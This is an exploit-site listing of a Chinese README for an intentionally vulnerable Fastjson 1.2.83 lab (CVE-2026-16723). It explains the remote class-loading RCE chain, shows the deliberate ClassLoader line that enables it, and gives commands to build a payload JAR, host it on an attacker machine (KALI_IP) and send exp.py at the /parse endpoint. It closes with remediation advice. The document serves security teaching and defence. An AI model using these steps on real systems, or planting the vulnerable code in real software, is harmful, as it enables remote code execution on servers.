Sploitus

Exploit for fastjson-rce-lab

kitploit · 2026-09-04

Exploit Code

MARKDOWN232 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WHY-SUCCESS-FASTJSON-RCE-LAB
# Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

> **免责声明:本靶场仅供授权环境下的安全研究、教学演示与防御建设使用。擅自对未授权目标进行测试可能违法,使用后果由使用者自行承担。**

## 漏洞概述

项目| 内容  
---|---  
CVE| CVE-2026-16723 (CVSS 9.0)  
影响版本| Fastjson 1.2.68 ~ 1.2.83  
漏洞类型| 反序列化远程代码执行 (RCE)  
核心特点| **Gadget-free** (不依赖任何第三方类库)  
完整 RCE 条件| JDK 8 + Spring Boot Fat-JAR + SafeMode 关闭  
  
## 靶场环境说明

  * **Fastjson 1.2.83**

    * **SafeMode 关闭** (默认状态)
  * **Spring Boot fat-JAR** 打包(内含 `LaunchedURLClassLoader`,利用链必要组件)

  * **已修复关键行** :`ParseController` 调用 `JSON.parse()` 前将线程 ClassLoader 切为 `LaunchedURLClassLoader`(`Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())`),这是 @JSONType 探测路径能够远程加载类的必要前提

  * 提供 `/parse`(`JSON.parse`)和 `/parseObject`(`JSON.parseObject`)两个解析端点




## 环境要求

  * **JDK 8** (完整 RCE 必须 JDK 8;JDK 9+ 只能 SSRF 无法完整 RCE)
  * 操作系统:Windows / Linux / UOS / macOS 均可
  * 内存:最小 256MB 空闲



## 构建

从源码构建 fat-JAR(需要 JDK 8 + Maven):

root@kitploit:~
    
    
    git clone https://github.com/why-success/fastjson-rce-lab.git
    cd fastjson-rce-lab
    mvn clean package -DskipTests
    

构建产物在 `target/fastjson-rce-lab.jar`。

> 如果没有 Maven,也可以用项目自带的 Maven Wrapper(需要提前配置 `mvnw`)。

## 快速启动

### Windows

root@kitploit:~
    
    
    # 双击 start.bat
    # 或命令行
    java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
    

### Linux

root@kitploit:~
    
    
    chmod +x start.sh
    ./start.sh
    
    # 或手动启动
    ulimit -n 65536
    java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
    

> **关于`--server.port=18080`**:环境中可能存在 `SERVER__PORT` 等环境变量会覆盖 `application.properties` 中的端口配置,通过命令行参数强制指定可确保端口正确(命令行参数优先级最高)。

> **关于 JVM 参数** :`-Xmx256m -XX:+UseSerialGC` 是为了在低内存虚机(如 Kali 2-4G)上正常运行,避免 JVM 初始化时 OOM。如果机器内存充足可以去掉。

### 启动验证

root@kitploit:~
    
    
    curl http://127.0.0.1:18080/status
    

预期返回:

root@kitploit:~
    
    
    {
      "fastjsonVersion": "1.2.83",
      "safeMode": false,
      "autoTypeSupport": false,
      "vulnerable": true,
      "javaVersion": "1.8.0_xxx"
    }
    

`safeMode: false` 且 `vulnerable: true` 即为易受攻击状态。

## 端点说明

## 漏洞原理

root@kitploit:~
    
    
    1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
    2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
    3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
    4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
    5. 跳过危险基类检查 → loadClass() → defineClass()
    6. 触发 <clinit> 静态初始化块 → RCE
    

### 靶场中的关键代码

root@kitploit:~
    
    
    // ParseController.java — /parse 端点
    @PostMapping("/parse")
    public Map<String, Object> parse(@RequestBody String body) {
        // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
        Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
        Object obj = JSON.parse(body);
        // ...
    }
    

没有这行 `setContextClassLoader`,Fastjson 使用系统默认 AppClassLoader,无法通过 `jar:http://` 协议加载远程类。

## 利用复现

### 第一步:获取 PoC 工具

root@kitploit:~
    
    
    git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
    cd fastjson-1.2.83-rce
    

### 第二步:修改 GenProbe.java(关键)

仓库自带的 `poc/GenProbe.java` 有两个兼容性问题已修复:

  1. **硬编码`/bin/bash -c`** → 改为 `Runtime.exec(String)` 通用版本(Windows/Linux 都可用)
  2. 跨平台命令格式:Windows 靶场用 `"cmd /c xxx"`,Linux 靶场直接用 `"touch /tmp/pwned"` 或 `"bash -c xxx"`



### 第三步:生成 probe.jar 并托管

完整攻击流程见 **`靶场测试完整指南.md`** (同目录下),包含:

  * 完整七步攻击操作流程
  * 各平台命令速查表
  * 6 种常见报错及排查方法



### 快速验证(Windows 靶场示例)

root@kitploit:~
    
    
    # 在攻击机(或能编译 Java 的机器)上
    cd fastjson-1.2.83-rce
    javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
    java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
    
    # 将 poc/www/probe 拷到 Kali
    # Kali 上启动 HTTP 托管
    cd poc/www && python3 -m http.server 19090
    
    # 重启靶场 → Kali 新终端打 exp
    python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
    

## 修复方案

### 紧急修复:启用 SafeMode

root@kitploit:~
    
    
    # JVM 启动参数
    -Dfastjson.parser.safeMode=true
    

root@kitploit:~
    
    
    // 代码配置
    ParserConfig.getGlobalInstance().setSafeMode(true);
    

### 长期修复:迁移至 Fastjson 2.x

root@kitploit:~
    
    
    <dependency>
        <groupId>com.alibaba.fastjson2</groupId>
        <artifactId>fastjson2</artifactId>
        <version>2.x</version>
    </dependency>
    

Fastjson2 不受此漏洞影响。

### 其他措施

  * 使用 `com.alibaba:fastjson:1.2.83_noneautotype` 构建版本
  * 阻止应用服务器出站 HTTP 流量
  * 排查所有 Fastjson 1.x 依赖实例



## 技术参考

  * Kirill Firsov (@k_firsov) 披露:https://x.com/k_firsov/status/2078872293745570032
  * PoC 项目:https://github.com/0x7eTeam/fastjson-1.2.83-rce
  * 阿里安全公告(2026-07-21)
  * 腾讯云安全通告(2026-07-20)